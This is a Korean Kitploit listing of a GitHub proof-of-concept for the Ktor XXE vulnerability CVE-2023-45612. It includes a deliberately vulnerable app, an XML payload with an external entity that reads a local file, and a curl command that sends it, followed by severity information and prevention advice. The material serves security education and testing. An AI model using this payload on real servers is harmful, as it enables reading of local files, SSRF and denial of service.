Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ktor-cve-2023-45612-poc — Ktor XXE 인젝션 개념 증명 (CVE-2023-45612) | Kitploit
도구/GitHubGitHub/stefan-500/ktor-cve-2023-45612-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityMisconfigurationLearning & Education
GitHubstefan-500/ktor-cve-2023-45612-poc

ktor-cve-2023-45612-poc

Ktor XXE 인젝션 개념 증명 (CVE-2023-45612)

저장소 보기
1810개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Ktor XXE 취약점 개념 증명 (CVE-2023-45612)

요약

영향: 외부 엔티티(XXE) 참조가 포함된 조작된 XML DTD를 통한 임의 파일 접근.
근본 원인: 안전하지 않은 XML 문서 파서.

이 저장소에는 외부 엔티티를 허용하도록 구성된 취약한 Ktor 2.3.4 앱이 포함되어 있어 XXE 효과를 확인할 수 있습니다.

설명

XML 외부 엔티티 주입(CVE-2023-45612) 개념 증명을 위한 취약한 Ktor(v2.3.4) 애플리케이션입니다.

CVE-2023-45612는 XML이 활성화된 2.3.5 이전 버전의 Ktor ContentNegotiation에서 발생하는 XXE(XML 외부 엔티티) 버그입니다.
이 취약점은 CWE-611: XML 외부 엔티티 참조의 부적절한 제한에 매핑됩니다.
XXE는 OWASP Top 10 A05:2021-보안 오구성 위험 범주에 속하지만, 원인이 제한적이지 않은 XML 파서이므로 안전하지 않은 설계 문제이기도 합니다.

Ulf Karlsson이 보고함 — Jetbrains 보안 노트 참조.

영향을 받는 구성 요소 및 버전

2.3.5보다 오래된 Ktor 버전

재현 환경

문제를 재현하기 위해 사용한 제 설정은 다음과 같습니다:

  • IntelliJ IDEA 2025.2.4
  • Ktor 2.3.4
  • JDK 21
  • OS: Windows 10

XXE 설명

XML 문서에는 선택적으로 DTD(문서 형식 정의)가 포함될 수 있으며, 이 DTD를 통해 다른 기능 중에서도 XML 엔티티를 정의할 수 있습니다. URI 형태의 대체 문자열을 제공하여 엔티티를 정의하는 것이 가능합니다. XML 파서는 이 URI의 내용에 접근하여 해당 내용을 XML 문서에 다시 삽입해 추가 처리할 수 있습니다. file:// URI로 외부 엔티티를 정의하는 XML 파일을 제출함으로써, 공격자는 처리 중인 애플리케이션이 로컬 파일의 내용을 읽도록 만들 수 있습니다.
예를 들어, "file:///c:/winnt/win.ini"와 같은 URI는 (Windows에서) C:\Winnt\win.ini 파일을 지정하고, file:///etc/passwd는 Unix 계열 시스템의 암호 파일을 지정합니다.
(https://cwe.mitre.org/data/definitions/611.html)

작동 방식

POST 요청이 http://localhost:8080/xml 엔드포인트로 전송됩니다.
요청은 외부 엔티티가 참조되는 <!DOCTYPE> 요소를 포함하는 XML 파일 exploit/payloads/xxe-demo-file.xml을 보내며, 이 경우에는 exploit/etc/secret.txt입니다.

이는 프로세스가 접근할 수 있는 시스템의 다른 파일일 수도 있습니다.

xxe-demo-file.xml

<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>

XML 파서(DTD 허용으로 구성됨)는 이 요소를 해석하고 리소스 데이터를 검색합니다.

외부 참조는 SSRF 엔드포인트에 대한 경로일 수도 있고, 시스템 리소스를 점유하기 위한 대용량 파일을 가리킬 수도 있습니다 (DoS).

재현 단계

  1. 서버를 실행합니다:
./gradlew run
  1. 출력은 다음과 같아야 합니다:
Responding at http://127.0.0.1:8080
  1. curl을 사용하여 XXE 페이로드를 전송합니다:
 curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml

예상 결과 (취약한 경우):

콘솔 출력: Received: <external entity data>

예상 결과 (안전한 경우):

400 Bad Request 또는 이와 유사한 응답 (XML 파서가 DTD(문서 형식 정의)를 차단함)

증거

실행 명령:

앱 실행 명령

cURL로 XXE 페이로드를 전송하고, 주입된 파일 내용이 표시된 결과:

앱 실행 명령

심각도

심각도는 높음/치명적입니다. 잠재적인 로컬 파일 검색, SSRF 공격, DoS 공격 또는 기타 시스템 영향이 발생할 수 있습니다.
NVD 기본 점수: 9.8 CRITICAL (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)

개발자를 위한 예방 가이드라인 초안

  • 외부 엔티티를 해석하지 않도록 XML 파서를 구성합니다. 외부 엔티티가 필요한 경우, 요청 제한 시간, 데이터 검색 제한이 있고 로컬에서 검색할 수 있는 리소스를 제한하는 사용자 지정 XmlResolver를 구현합니다.
  • 다양한 기술에 대한 XXE 예방 구현을 다루는 OWASP XXE 예방 치트 시트와 같은 리소스를 사용합니다.
  • 소스 코드 분석을 통해 이 약점의 일부 사례를 찾을 수 있으므로 CI에 SAST를 통합합니다.
  • 종속성 버전과 취약점을 추적하고 분석합니다.
  • 회사 차원에서 안전한 코딩 표준을 구현합니다.
  • 특히 설계 및 개발자 테스트 단계에서 SDLC 전반에 걸쳐 보안 통합을 강조합니다.

참고 자료

  • https://nvd.nist.gov/vuln/detail/CVE-2023-45612
  • https://cwe.mitre.org/data/definitions/611.html
  • https://capec.mitre.org/data/definitions/221.html
  • https://medium.com/@iason.tzortzis/xxe-xml-external-entity-injection-explained-e8be5f1f7cd7
  • https://ktor.io/docs/server-create-a-new-project.html#create-project-with-the-ktor-project-generator
  • https://www.jetbrains.com/privacy-security/issues-fixed/?product=Ktor
  • https://ktor.io/docs/2.3.13/welcome.html
  • https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files
  • https://ssojet.com/parse-and-generate-formats/parse-and-generate-xml-in-ktor/
  • https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  • https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
도구 다운로드